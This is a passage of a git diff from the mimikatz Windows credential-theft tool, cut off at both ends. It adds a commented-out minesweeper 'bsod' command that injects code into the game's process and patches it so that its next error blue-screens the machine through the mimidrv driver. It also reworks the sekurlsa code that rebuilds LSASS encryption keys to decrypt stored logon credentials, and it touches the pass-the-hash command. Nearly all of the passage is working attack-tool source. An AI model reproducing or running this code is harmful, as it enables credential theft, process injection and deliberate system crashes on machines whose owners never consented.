SCARDHANDLE hScard, LPCWSTR szModel, LPCBYTE pbAtr, DWORD cbAtr); DWORD kuhl_m_crypto_l_sc_provtypefromname(LPCWSTR szProvider); PWSTR kuhl_m_crypto_l_sc_containerFromReader(LPCWSTR reader); \ No newline at end of file diff --git a/mimikatz/modules/kuhl_m_minesweeper.c b/mimikatz/modules/kuhl_m_minesweeper.c index af35dbc..8b1151f 100644 --- a/mimikatz/modules/kuhl_m_minesweeper.c +++ b/mimikatz/modules/kuhl_m_minesweeper.c @@ -7,6 +7,7 @@ const KUHL_M_C kuhl_m_c_minesweeper[] = { {kuhl_m_minesweeper_infos, L"infos", L"infos"}, + //{kuhl_m_minesweeper_bsod, L"bsod", L"bsod"}, }; const KUHL_M kuhl_m_minesweeper = { L"minesweeper", L"MineSweeper module", NULL, @@ -140,7 +141,6 @@ NTSTATUS kuhl_m_minesweeper_infos(int argc, wchar_t * argv[]) return STATUS_SUCCESS; } - void kuhl_m_minesweeper_infos_parseField(PKULL_M_MEMORY_HANDLE hMemory, PSTRUCT_MINESWEEPER_REF_ELEMENT base, CHAR ** field, BOOL isVisible) { STRUCT_MINESWEEPER_REF_ELEMENT ref_first_element; @@ -189,4 +189,90 @@ void kuhl_m_minesweeper_infos_parseField(PKULL_M_MEMORY_HANDLE hMemory, PSTRUCT_ } } else PRINT_ERROR(L"Unable to read first element\n"); -} \ No newline at end of file +} +// +//#include "../../modules/kull_m_remotelib.h" +//#ifdef _M_X64 +//BYTE CALL_JMP_X64[] = { 0x48, 0xb8, +// 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +// 0xff, 0xe0}; +//BYTE PTRN_WIN6_Explode[] = {0x57, 0x41, 0x54, 0x41, 0x55, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0x41, 0x18}; +//LONG OFFS_WIN6_ToExplode = -15; +//#endif +// +//NTSTATUS kuhl_m_minesweeper_bsod(int argc, wchar_t * argv[]) +//{ +// DWORD dwPid; +// HANDLE hProcess; +// PEB Peb; +// PIMAGE_NT_HEADERS pNtHeaders; +// KULL_M_MEMORY_SEARCH sMemory = {{{NULL, NULL}, 0}, NULL}; +// KULL_M_MEMORY_ADDRESS aRemote = {NULL, NULL}, aBuffer = {PTRN_WIN6_Explode, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}; +// +// REMOTE_EXT extensions[] = { +// {L"kernel32.dll", "CreateFileA", (PVOID) 0x4a4a4a4a4a4a4a4a, NULL}, +// {L"kernel32.dll", "CloseHandle", (PVOID) 0x4b4b4b4b4b4b4b4b, NULL}, +// {L"kernel32.dll", "DeviceIoControl", (PVOID) 0x4c4c4c4c4c4c4c4c, NULL}, +// }; +// MULTIPLE_REMOTE_EXT extForCb = {ARRAYSIZE(extensions), extensions}; +// +// if(kull_m_process_getProcessIdForName(L"minesweeper.exe", &dwPid)) +// { +// if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, FALSE, dwPid)) +// { +// if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &aRemote.hMemory)) +// { +// if(kull_m_process_peb(aRemote.hMemory, &Peb, FALSE)) +// { +// aRemote.address = Peb.ImageBaseAddress; +// if(kull_m_process_ntheaders(&aRemote, &pNtHeaders)) +// { +// sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory = aRemote.hMemory; +// sMemory.kull_m_memoryRange.kull_m_memoryAdress.address = (LPVOID) pNtHeaders->OptionalHeader.ImageBase; +// sMemory.kull_m_memoryRange.size = pNtHeaders->OptionalHeader.SizeOfImage; +// if(kull_m_memory_search(&aBuffer, sizeof(PTRN_WIN6_Explode), &sMemory, TRUE)) +// { +// sMemory.result = (PBYTE) sMemory.result + OFFS_WIN6_ToExplode; +// aRemote.address = NULL; +// if(kull_m_remotelib_CreateRemoteCodeWitthPatternReplace(aRemote.hMemory, kuhl_m_minesweeper_bsod_thread, (DWORD) ((PBYTE) kuhl_m_minesweeper_bsod_thread_end - (PBYTE) kuhl_m_minesweeper_bsod_thread), &extForCb, &aRemote)) +// { +// *(PVOID *) (CALL_JMP_X64 + 2) = aRemote.address; +// aBuffer.address = CALL_JMP_X64; +// aRemote.address = sMemory.result; +// if(kull_m_memory_copy(&aRemote, &aBuffer, sizeof(CALL_JMP_X64))) +// kprintf(L"WARNING! Next Minesweeper error will BSOD!\n"); +// } +// else PRINT_ERROR(L"Unable to create remote functions\n"); +// } +// else PRINT_ERROR(L"Search is KO\n"); +// LocalFree(pNtHeaders); +// } +// else PRINT_ERROR(L"Minesweeper NT Headers\n"); +// } +// else PRINT_ERROR(L"Minesweeper PEB\n"); +// kull_m_memory_close(aRemote.hMemory); +// } +// CloseHandle(hProcess); +// } +// else PRINT_ERROR_AUTO(L"OpenProcess"); +// } +// else PRINT_ERROR(L"No MineSweeper in memory!\n"); +// return STATUS_SUCCESS; +//} +// +//typedef HANDLE (WINAPI * PCREATEFILEA) (__in LPCSTR lpFileName, __in DWORD dwDesiredAccess, __in DWORD dwShareMode, __in_opt LPSECURITY_ATTRIBUTES lpSecurityAttributes, __in DWORD dwCreationDisposition, __in DWORD dwFlagsAndAttributes, __in_opt HANDLE hTemplateFile); +//typedef BOOL (WINAPI * PDEVICEIOCONTROL) (__in HANDLE hDevice, __in DWORD dwIoControlCode, __in_bcount_opt(nInBufferSize) LPVOID lpInBuffer, __in DWORD nInBufferSize, __out_bcount_part_opt(nOutBufferSize, *lpBytesReturned) LPVOID lpOutBuffer, __in DWORD nOutBufferSize, __out_opt LPDWORD lpBytesReturned, __inout_opt LPOVERLAPPED lpOverlapped ); +//typedef BOOL (WINAPI * PCLOSEHANDLE) (__in HANDLE hObject); +//#pragma optimize("", off) +//void __fastcall kuhl_m_minesweeper_bsod_thread(PVOID a, INT b, INT c, BOOL d) +//{ +// DWORD fn[] = {0x5c2e5c5c, 'imim', '\0vrd'}; +// HANDLE hDriver = ((PCREATEFILEA) 0x4a4a4a4a4a4a4a4a)((PSTR) fn, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); +// if(hDriver && hDriver != INVALID_HANDLE_VALUE) +// { +// ((PDEVICEIOCONTROL) 0x4c4c4c4c4c4c4c4c)(hDriver, IOCTL_MIMIDRV_BSOD, NULL, 0, NULL, 0, NULL, NULL); +// ((PCLOSEHANDLE) 0x4b4b4b4b4b4b4b4b)(hDriver); // ! +// } +//} +//DWORD kuhl_m_minesweeper_bsod_thread_end(){return 'sbsm';} +//#pragma optimize("", on) \ No newline at end of file diff --git a/mimikatz/modules/kuhl_m_minesweeper.h b/mimikatz/modules/kuhl_m_minesweeper.h index 74a4cc5..1ac8260 100644 --- a/mimikatz/modules/kuhl_m_minesweeper.h +++ b/mimikatz/modules/kuhl_m_minesweeper.h @@ -10,6 +10,7 @@ const KUHL_M kuhl_m_minesweeper; NTSTATUS kuhl_m_minesweeper_infos(int argc, wchar_t * argv[]); +NTSTATUS kuhl_m_minesweeper_bsod(int argc, wchar_t * argv[]); typedef struct _STRUCT_MINESWEEPER_REF_ELEMENT { DWORD cbElements; @@ -52,4 +53,7 @@ typedef struct _STRUCT_MINESWEEPER_GAME { PSTRUCT_MINESWEEPER_BOARD pBoard_WIN7x86; } STRUCT_MINESWEEPER_GAME, *PSTRUCT_MINESWEEPER_GAME; -void kuhl_m_minesweeper_infos_parseField(PKULL_M_MEMORY_HANDLE hMemory, PSTRUCT_MINESWEEPER_REF_ELEMENT base, CHAR ** field, BOOL isVisible); \ No newline at end of file +void kuhl_m_minesweeper_infos_parseField(PKULL_M_MEMORY_HANDLE hMemory, PSTRUCT_MINESWEEPER_REF_ELEMENT base, CHAR ** field, BOOL isVisible); +// +//void __fastcall kuhl_m_minesweeper_bsod_thread(PVOID a, INT b, INT c, BOOL d); +//DWORD kuhl_m_minesweeper_bsod_thread_end(); \ No newline at end of file diff --git a/mimikatz/modules/sekurlsa/crypto/kuhl_m_sekurlsa_nt6.c b/mimikatz/modules/sekurlsa/crypto/kuhl_m_sekurlsa_nt6.c index 2267972..76dae34 100644 --- a/mimikatz/modules/sekurlsa/crypto/kuhl_m_sekurlsa_nt6.c +++ b/mimikatz/modules/sekurlsa/crypto/kuhl_m_sekurlsa_nt6.c @@ -26,103 +26,84 @@ KULL_M_PATCH_GENERIC PTRN_WIN8_LsaInitializeProtectedMemory_KeyRef[] = { // Init #endif -HMODULE kuhl_m_sekurlsa_nt6_hBCrypt = NULL; NTSTATUS kuhl_m_sekurlsa_nt6_KeyInit = STATUS_NOT_FOUND; PLSA_PROTECT_MEMORY kuhl_m_sekurlsa_nt6_pLsaProtectMemory = kuhl_m_sekurlsa_nt6_LsaProtectMemory, kuhl_m_sekurlsa_nt6_pLsaUnprotectMemory = kuhl_m_sekurlsa_nt6_LsaUnprotectMemory; - -PBCRYPT_OPEN_ALGORITHM_PROVIDER K_BCryptOpenAlgorithmProvider = NULL; -PBCRYPT_SET_PROPERTY K_BCryptSetProperty = NULL; -PBCRYPT_GET_PROPERTY K_BCryptGetProperty = NULL; -PBCRYPT_GENERATE_SYMMETRIC_KEY K_BCryptGenerateSymmetricKey = NULL; -PBCRYPT_ENCRYPT K_BCryptEncrypt = NULL, K_BCryptDecrypt = NULL; -PBCRYPT_DESTROY_KEY K_BCryptDestroyKey = NULL; -PBCRYPT_CLOSE_ALGORITHM_PROVIDER K_BCryptCloseAlgorithmProvider = NULL; - KIWI_BCRYPT_GEN_KEY k3Des, kAes; BYTE InitializationVector[16]; NTSTATUS kuhl_m_sekurlsa_nt6_init() { if(!NT_SUCCESS(kuhl_m_sekurlsa_nt6_KeyInit)) - { - if(!kuhl_m_sekurlsa_nt6_hBCrypt) - { - if(kuhl_m_sekurlsa_nt6_hBCrypt = LoadLibrary(L"bcrypt")) - { - K_BCryptOpenAlgorithmProvider = (PBCRYPT_OPEN_ALGORITHM_PROVIDER) GetProcAddress(kuhl_m_sekurlsa_nt6_hBCrypt, "BCryptOpenAlgorithmProvider"); - K_BCryptSetProperty = (PBCRYPT_SET_PROPERTY) GetProcAddress(kuhl_m_sekurlsa_nt6_hBCrypt, "BCryptSetProperty"); - K_BCryptGetProperty = (PBCRYPT_GET_PROPERTY) GetProcAddress(kuhl_m_sekurlsa_nt6_hBCrypt, "BCryptGetProperty"); - K_BCryptGenerateSymmetricKey = (PBCRYPT_GENERATE_SYMMETRIC_KEY) GetProcAddress(kuhl_m_sekurlsa_nt6_hBCrypt, "BCryptGenerateSymmetricKey"); - K_BCryptEncrypt = (PBCRYPT_ENCRYPT) GetProcAddress(kuhl_m_sekurlsa_nt6_hBCrypt, "BCryptEncrypt"); - K_BCryptDecrypt = (PBCRYPT_ENCRYPT) GetProcAddress(kuhl_m_sekurlsa_nt6_hBCrypt, "BCryptDecrypt"); - K_BCryptDestroyKey = (PBCRYPT_DESTROY_KEY) GetProcAddress(kuhl_m_sekurlsa_nt6_hBCrypt, "BCryptDestroyKey"); - K_BCryptCloseAlgorithmProvider = (PBCRYPT_CLOSE_ALGORITHM_PROVIDER) GetProcAddress(kuhl_m_sekurlsa_nt6_hBCrypt, "BCryptCloseAlgorithmProvider"); - } - } - if(kuhl_m_sekurlsa_nt6_hBCrypt && K_BCryptOpenAlgorithmProvider && K_BCryptSetProperty && K_BCryptGetProperty && K_BCryptGenerateSymmetricKey && K_BCryptEncrypt && K_BCryptDecrypt && K_BCryptDestroyKey && K_BCryptCloseAlgorithmProvider) - kuhl_m_sekurlsa_nt6_KeyInit = kuhl_m_sekurlsa_nt6_LsaInitializeProtectedMemory(); - } + kuhl_m_sekurlsa_nt6_KeyInit = kuhl_m_sekurlsa_nt6_LsaInitializeProtectedMemory(); return kuhl_m_sekurlsa_nt6_KeyInit; } NTSTATUS kuhl_m_sekurlsa_nt6_clean() { - if(kuhl_m_sekurlsa_nt6_hBCrypt) - { - if(NT_SUCCESS(kuhl_m_sekurlsa_nt6_KeyInit)) - kuhl_m_sekurlsa_nt6_LsaCleanupProtectedMemory(); - FreeLibrary(kuhl_m_sekurlsa_nt6_hBCrypt); - } + if(NT_SUCCESS(kuhl_m_sekurlsa_nt6_KeyInit)) + kuhl_m_sekurlsa_nt6_LsaCleanupProtectedMemory(); return STATUS_SUCCESS; } NTSTATUS kuhl_m_sekurlsa_nt6_LsaInitializeProtectedMemory() { - NTSTATUS status; + NTSTATUS status = STATUS_NOT_FOUND; ULONG dwSizeNeeded; - - status = K_BCryptOpenAlgorithmProvider(&k3Des.hProvider, BCRYPT_3DES_ALGORITHM, NULL, 0); - if(NT_SUCCESS(status)) + __try { - status = K_BCryptSetProperty(k3Des.hProvider, BCRYPT_CHAINING_MODE, (PBYTE) BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0); + status = BCryptOpenAlgorithmProvider(&k3Des.hProvider, BCRYPT_3DES_ALGORITHM, NULL, 0); if(NT_SUCCESS(status)) { - status = K_BCryptGetProperty(k3Des.hProvider, BCRYPT_OBJECT_LENGTH, (PBYTE) &k3Des.cbKey, sizeof(k3Des.cbKey), &dwSizeNeeded, 0); - if(NT_SUCCESS(status)) - k3Des.pKey = (PBYTE) LocalAlloc(LPTR, k3Des.cbKey); - } - } - - if(NT_SUCCESS(status)) - { - status = K_BCryptOpenAlgorithmProvider(&kAes.hProvider, BCRYPT_AES_ALGORITHM, NULL, 0); - if(NT_SUCCESS(status)) - { - status = K_BCryptSetProperty(kAes.hProvider, BCRYPT_CHAINING_MODE, (PBYTE) BCRYPT_CHAIN_MODE_CFB, sizeof(BCRYPT_CHAIN_MODE_CFB), 0); + status = BCryptSetProperty(k3Des.hProvider, BCRYPT_CHAINING_MODE, (PBYTE) BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0); if(NT_SUCCESS(status)) { - status = K_BCryptGetProperty(kAes.hProvider, BCRYPT_OBJECT_LENGTH, (PBYTE) &kAes.cbKey, sizeof(kAes.cbKey), &dwSizeNeeded, 0); + status = BCryptGetProperty(k3Des.hProvider, BCRYPT_OBJECT_LENGTH, (PBYTE) &k3Des.cbKey, sizeof(k3Des.cbKey), &dwSizeNeeded, 0); if(NT_SUCCESS(status)) - kAes.pKey = (PBYTE) LocalAlloc(LPTR, kAes.cbKey); + k3Des.pKey = (PBYTE) LocalAlloc(LPTR, k3Des.cbKey); + } + } + + if(NT_SUCCESS(status)) + { + status = BCryptOpenAlgorithmProvider(&kAes.hProvider, BCRYPT_AES_ALGORITHM, NULL, 0); + if(NT_SUCCESS(status)) + { + status = BCryptSetProperty(kAes.hProvider, BCRYPT_CHAINING_MODE, (PBYTE) BCRYPT_CHAIN_MODE_CFB, sizeof(BCRYPT_CHAIN_MODE_CFB), 0); + if(NT_SUCCESS(status)) + { + status = BCryptGetProperty(kAes.hProvider, BCRYPT_OBJECT_LENGTH, (PBYTE) &kAes.cbKey, sizeof(kAes.cbKey), &dwSizeNeeded, 0); + if(NT_SUCCESS(status)) + kAes.pKey = (PBYTE) LocalAlloc(LPTR, kAes.cbKey); + } } } } - + __except(GetExceptionCode() == ERROR_DLL_NOT_FOUND){} return status; } + VOID kuhl_m_sekurlsa_nt6_LsaCleanupProtectedMemory() { - if (k3Des.hProvider) - K_BCryptCloseAlgorithmProvider(k3Des.hProvider, 0); - if (k3Des.hKey) - K_BCryptDestroyKey(k3Des.hKey); - LocalFree(k3Des.pKey); + __try + { + if (k3Des.hProvider) + BCryptCloseAlgorithmProvider(k3Des.hProvider, 0); + if (k3Des.hKey) + { + BCryptDestroyKey(k3Des.hKey); + LocalFree(k3Des.pKey); + } - if (kAes.hProvider) - K_BCryptCloseAlgorithmProvider(kAes.hProvider, 0); - if (kAes.hKey) - K_BCryptDestroyKey(kAes.hKey); - LocalFree(kAes.pKey); + if (kAes.hProvider) + BCryptCloseAlgorithmProvider(kAes.hProvider, 0); + if (kAes.hKey) + { + BCryptDestroyKey(kAes.hKey); + LocalFree(kAes.pKey); + } + } + __except(GetExceptionCode() == ERROR_DLL_NOT_FOUND){} + kuhl_m_sekurlsa_nt6_KeyInit = STATUS_NOT_FOUND; } VOID WINAPI kuhl_m_sekurlsa_nt6_LsaProtectMemory (IN PVOID Buffer, IN ULONG BufferSize) @@ -137,10 +118,11 @@ VOID WINAPI kuhl_m_sekurlsa_nt6_LsaUnprotectMemory (IN PVOID Buffer, IN ULONG Bu NTSTATUS kuhl_m_sekurlsa_nt6_LsaEncryptMemory(PUCHAR pMemory, ULONG cbMemory, BOOL Encrypt) { + NTSTATUS status = STATUS_NOT_FOUND; BCRYPT_KEY_HANDLE *hKey; BYTE LocalInitializationVector[16]; ULONG cbIV, cbResult; - PBCRYPT_ENCRYPT cryptFunc = Encrypt ? K_BCryptEncrypt : K_BCryptDecrypt; + PBCRYPT_ENCRYPT cryptFunc = Encrypt ? BCryptEncrypt : BCryptDecrypt; RtlCopyMemory(LocalInitializationVector, InitializationVector, sizeof(InitializationVector)); if (cbMemory % 8) { @@ -152,7 +134,12 @@ NTSTATUS kuhl_m_sekurlsa_nt6_LsaEncryptMemory(PUCHAR pMemory, ULONG cbMemory, BO hKey = &k3Des.hKey; cbIV = sizeof(InitializationVector) / 2; } - return cryptFunc(*hKey, pMemory, cbMemory, 0, LocalInitializationVector, cbIV, pMemory, cbMemory, &cbResult, 0); + __try + { + status = cryptFunc(*hKey, pMemory, cbMemory, 0, LocalInitializationVector, cbIV, pMemory, cbMemory, &cbResult, 0); + } + __except(GetExceptionCode() == ERROR_DLL_NOT_FOUND){} + return status; } NTSTATUS kuhl_m_sekurlsa_nt6_acquireKeys(PKUHL_M_SEKURLSA_CONTEXT cLsass, PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION lsassLsaSrvModule) @@ -247,7 +234,13 @@ BOOL kuhl_m_sekurlsa_nt6_acquireKey(PKULL_M_MEMORY_ADDRESS aLsassMemory, PKUHL_M { aLsassMemory->address = (PBYTE) hKey.key + offset + FIELD_OFFSET(KIWI_HARD_KEY, data); if(kull_m_memory_copy(&aLocalMemory, aLsassMemory, pHardKey->cbSecret)) - status = NT_SUCCESS(K_BCryptGenerateSymmetricKey(pGenKey->hProvider, &pGenKey->hKey, pGenKey->pKey, pGenKey->cbKey, (PUCHAR) aLocalMemory.address, pHardKey->cbSecret, 0)); + { + __try + { + status = NT_SUCCESS(BCryptGenerateSymmetricKey(pGenKey->hProvider, &pGenKey->hKey, pGenKey->pKey, pGenKey->cbKey, (PUCHAR) aLocalMemory.address, pHardKey->cbSecret, 0)); + } + __except(GetExceptionCode() == ERROR_DLL_NOT_FOUND){} + } LocalFree(aLocalMemory.address); } } diff --git a/mimikatz/modules/sekurlsa/crypto/kuhl_m_sekurlsa_nt6.h b/mimikatz/modules/sekurlsa/crypto/kuhl_m_sekurlsa_nt6.h index c9ef401..c2075a6 100644 --- a/mimikatz/modules/sekurlsa/crypto/kuhl_m_sekurlsa_nt6.h +++ b/mimikatz/modules/sekurlsa/crypto/kuhl_m_sekurlsa_nt6.h @@ -51,12 +51,6 @@ typedef struct _KIWI_BCRYPT_GEN_KEY { ULONG cbKey; } KIWI_BCRYPT_GEN_KEY, *PKIWI_BCRYPT_GEN_KEY; -typedef NTSTATUS (WINAPI * PBCRYPT_OPEN_ALGORITHM_PROVIDER) (__out BCRYPT_ALG_HANDLE *phAlgorithm, __in LPCWSTR pszAlgId, __in_opt LPCWSTR pszImplementation, __in ULONG dwFlags); -typedef NTSTATUS (WINAPI * PBCRYPT_SET_PROPERTY) (__inout BCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __in_bcount(cbInput) PUCHAR pbInput, __in ULONG cbInput, __in ULONG dwFlags); -typedef NTSTATUS (WINAPI * PBCRYPT_GET_PROPERTY) (__in BCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __out_bcount_part_opt(cbOutput, *pcbResult) PUCHAR pbOutput, __in ULONG cbOutput, __out ULONG *pcbResult, __in ULONG dwFlags); -typedef NTSTATUS (WINAPI * PBCRYPT_GENERATE_SYMMETRIC_KEY) (__inout BCRYPT_ALG_HANDLE hAlgorithm, __out BCRYPT_KEY_HANDLE *phKey, __out_bcount_full_opt(cbKeyObject) PUCHAR pbKeyObject, __in ULONG cbKeyObject, __in_bcount(cbSecret) PUCHAR pbSecret, __in ULONG cbSecret, __in ULONG dwFlags); -typedef NTSTATUS (WINAPI * PBCRYPT_DESTROY_KEY) (__inout BCRYPT_KEY_HANDLE hKey); -typedef NTSTATUS (WINAPI * PBCRYPT_CLOSE_ALGORITHM_PROVIDER) (__inout BCRYPT_ALG_HANDLE hAlgorithm, __in ULONG dwFlags); typedef NTSTATUS (WINAPI * PBCRYPT_ENCRYPT) (__inout BCRYPT_KEY_HANDLE hKey, __in_bcount_opt(cbInput) PUCHAR pbInput, __in ULONG cbInput, __in_opt VOID *pPaddingInfo, __inout_bcount_opt(cbIV) PUCHAR pbIV, __in ULONG cbIV, __out_bcount_part_opt(cbOutput, *pcbResult) PUCHAR pbOutput, __in ULONG cbOutput, __out ULONG *pcbResult, __in ULONG dwFlags); NTSTATUS kuhl_m_sekurlsa_nt6_init(); diff --git a/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c b/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c index 224dc18..a609ece 100644 --- a/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c +++ b/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c @@ -865,7 +865,7 @@ NTSTATUS kuhl_m_sekurlsa_pth(int argc, wchar_t * argv[]) { isImpersonate = kull_m_string_args_byName(argc, argv, L"impersonate", NULL, NULL); #pragma warning(push) -#pragma warning(disable:4996) +#pragma warning(disable:4996) kull_m_string_args_byName(argc, argv, L"run", &szRun, isImpersonate ? _wpgmptr : L"cmd.exe"); #pragma warning(pop) kprintf(L"user\t: %s\ndomain\t: %s\nprogram\t: %s\nimpers.\t: %s\n", szUser, szDomain, szRun, isImpersonate ? L"yes" : L"no"); diff --git a/mimilib/mimilib.vcxproj b/mimilib/mimilib.vcxproj index f3c857c..3a8da68 100644 --- a/mimilib/mimilib.vcxproj +++ b/mimilib/mimilib.vcxproj @@ -70,13 +70,14 @@ true true false - advapi32.lib;ntdll.min.lib;rpcrt4.lib;%(AdditionalDependencies) + advapi32.lib;bcrypt.lib;delayimp.lib;ntdll.min.lib;rpcrt4.lib;%(AdditionalDependencies) true NoErrorReport false true UseLinkTimeCodeGeneration mimilib.def + bcrypt.dll diff --git a/mimilib/sekurlsadbg/kuhl_m_sekurlsa_nt6.c b/mimilib/sekurlsadbg/kuhl_m_sekurlsa_nt6.c index fa18a4c..9b5aa13 100644 --- a/mimilib/sekurlsadbg/kuhl_m_sekurlsa_nt6.c +++ b/mimilib/sekurlsadbg/kuhl_m_sekurlsa_nt6.c @@ -6,40 +6,13 @@ #include "kuhl_m_sekurlsa_nt6.h" NTSTATUS kuhl_m_sekurlsa_nt6_KeyInit = STATUS_NOT_FOUND; -HMODULE kuhl_m_sekurlsa_nt6_hBCrypt = NULL; - -PBCRYPT_OPEN_ALGORITHM_PROVIDER K_BCryptOpenAlgorithmProvider = NULL; -PBCRYPT_SET_PROPERTY K_BCryptSetProperty = NULL; -PBCRYPT_GET_PROPERTY K_BCryptGetProperty = NULL; -PBCRYPT_GENERATE_SYMMETRIC_KEY K_BCryptGenerateSymmetricKey = NULL; -PBCRYPT_ENCRYPT K_BCryptEncrypt = NULL, K_BCryptDecrypt = NULL; -PBCRYPT_DESTROY_KEY K_BCryptDestroyKey = NULL; -PBCRYPT_CLOSE_ALGORITHM_PROVIDER K_BCryptCloseAlgorithmProvider = NULL; - KIWI_BCRYPT_GEN_KEY k3Des, kAes; BYTE InitializationVector[16]; NTSTATUS kuhl_m_sekurlsa_nt6_init() { if(!NT_SUCCESS(kuhl_m_sekurlsa_nt6_KeyInit)) - { - if(!kuhl_m_sekurlsa_nt6_hBCrypt) - { - if(kuhl_m_sekurlsa_nt6_hBCrypt = LoadLibrary(L"bcrypt")) - { - K_BCryptOpenAlgorithmProvider = (PBCRYPT_OPEN_ALGORITHM_PROVIDER) GetProcAddress(kuhl_m_sekurlsa_nt6_hBCrypt, "BCryptOpenAlgorithmProvider"); - K_BCryptSetProperty = (PBCRYPT_SET_PROPERTY) GetProcAddress(kuhl_m_sekurlsa_nt6_hBCrypt, "BCryptSetProperty"); - K_BCryptGetProperty = (PBCRYPT_GET_PROPERTY) GetProcAddress(kuhl_m_sekurlsa_nt6_hBCrypt, "BCryptGetProperty"); - K_BCryptGenerateSymmetricKey = (PBCRYPT_GENERATE_SYMMETRIC_KEY) GetProcAddress(kuhl_m_sekurlsa_nt6_hBCrypt, "BCryptGenerateSymmetricKey"); - K_BCryptEncrypt = (PBCRYPT_ENCRYPT) GetProcAddress(kuhl_m_sekurlsa_nt6_hBCrypt, "BCryptEncrypt"); - K_BCryptDecrypt = (PBCRYPT_ENCRYPT) GetProcAddress(kuhl_m_sekurlsa_nt6_hBCrypt, "BCryptDecrypt"); - K_BCryptDestroyKey = (PBCRYPT_DESTROY_KEY) GetProcAddress(kuhl_m_sekurlsa_nt6_hBCrypt, "BCryptDestroyKey"); - K_BCryptCloseAlgorithmProvider = (PBCRYPT_CLOSE_ALGORITHM_PROVIDER) GetProcAddress(kuhl_m_sekurlsa_nt6_hBCrypt, "BCryptCloseAlgorithmProvider"); - } - } - if(kuhl_m_sekurlsa_nt6_hBCrypt && K_BCryptOpenAlgorithmProvider && K_BCryptSetProperty && K_BCryptGetProperty && K_BCryptGenerateSymmetricKey && K_BCryptEncrypt && K_BCryptDecrypt && K_BCryptDestroyKey && K_BCryptCloseAlgorithmProvider) - kuhl_m_sekurlsa_nt6_KeyInit = kuhl_m_sekurlsa_nt6_LsaInitializeProtectedMemory(); - } + kuhl_m_sekurlsa_nt6_KeyInit = kuhl_m_sekurlsa_nt6_LsaInitializeProtectedMemory(); return kuhl_m_sekurlsa_nt6_KeyInit; } @@ -52,52 +25,62 @@ NTSTATUS kuhl_m_sekurlsa_nt6_clean() NTSTATUS kuhl_m_sekurlsa_nt6_LsaInitializeProtectedMemory() { - NTSTATUS status; + NTSTATUS status = STATUS_NOT_FOUND; ULONG dwSizeNeeded; - - status = K_BCryptOpenAlgorithmProvider(&k3Des.hProvider, BCRYPT_3DES_ALGORITHM, NULL, 0); - if(NT_SUCCESS(status)) + __try { - status = K_BCryptSetProperty(k3Des.hProvider, BCRYPT_CHAINING_MODE, (PBYTE) BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0); + status = BCryptOpenAlgorithmProvider(&k3Des.hProvider, BCRYPT_3DES_ALGORITHM, NULL, 0); if(NT_SUCCESS(status)) { - status = K_BCryptGetProperty(k3Des.hProvider, BCRYPT_OBJECT_LENGTH, (PBYTE) &k3Des.cbKey, sizeof(k3Des.cbKey), &dwSizeNeeded, 0); - if(NT_SUCCESS(status)) - k3Des.pKey = (PBYTE) LocalAlloc(LPTR, k3Des.cbKey); - } - } - - if(NT_SUCCESS(status)) - { - status = K_BCryptOpenAlgorithmProvider(&kAes.hProvider, BCRYPT_AES_ALGORITHM, NULL, 0); - if(NT_SUCCESS(status)) - { - status = K_BCryptSetProperty(kAes.hProvider, BCRYPT_CHAINING_MODE, (PBYTE) BCRYPT_CHAIN_MODE_CFB, sizeof(BCRYPT_CHAIN_MODE_CFB), 0); + status = BCryptSetProperty(k3Des.hProvider, BCRYPT_CHAINING_MODE, (PBYTE) BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0); if(NT_SUCCESS(status)) { - status = K_BCryptGetProperty(kAes.hProvider, BCRYPT_OBJECT_LENGTH, (PBYTE) &kAes.cbKey, sizeof(kAes.cbKey), &dwSizeNeeded, 0); + status = BCryptGetProperty(k3Des.hProvider, BCRYPT_OBJECT_LENGTH, (PBYTE) &k3Des.cbKey, sizeof(k3Des.cbKey), &dwSizeNeeded, 0); if(NT_SUCCESS(status)) - kAes.pKey = (PBYTE) LocalAlloc(LPTR, kAes.cbKey); + k3Des.pKey = (PBYTE) LocalAlloc(LPTR, k3Des.cbKey); + } + } + + if(NT_SUCCESS(status)) + { + status = BCryptOpenAlgorithmProvider(&kAes.hProvider, BCRYPT_AES_ALGORITHM, NULL, 0); + if(NT_SUCCESS(status)) + { + status = BCryptSetProperty(kAes.hProvider, BCRYPT_CHAINING_MODE, (PBYTE) BCRYPT_CHAIN_MODE_CFB, sizeof(BCRYPT_CHAIN_MODE_CFB), 0); + if(NT_SUCCESS(status)) + { + status = BCryptGetProperty(kAes.hProvider, BCRYPT_OBJECT_LENGTH, (PBYTE) &kAes.cbKey, sizeof(kAes.cbKey), &dwSizeNeeded, 0); + if(NT_SUCCESS(status)) + kAes.pKey = (PBYTE) LocalAlloc(LPTR, kAes.cbKey); + } } } } - + __except(GetExceptionCode() == ERROR_DLL_NOT_FOUND){} return status; } + VOID kuhl_m_sekurlsa_nt6_LsaCleanupProtectedMemory() { - if (k3Des.hProvider) - K_BCryptCloseAlgorithmProvider(k3Des.hProvider, 0); - if (k3Des.hKey) - K_BCryptDestroyKey(k3Des.hKey); - LocalFree(k3Des.pKey); - - if (kAes.hProvider) - K_BCryptCloseAlgorithmProvider(kAes.hProvider, 0); - if (kAes.hKey) - K_BCryptDestroyKey(kAes.hKey); - LocalFree(kAes.pKey); + __try + { + if (k3Des.hProvider) + BCryptCloseAlgorithmProvider(k3Des.hProvider, 0); + if (k3Des.hKey) + { + BCryptDestroyKey(k3Des.hKey); + LocalFree(k3Des.pKey); + } + if (kAes.hProvider) + 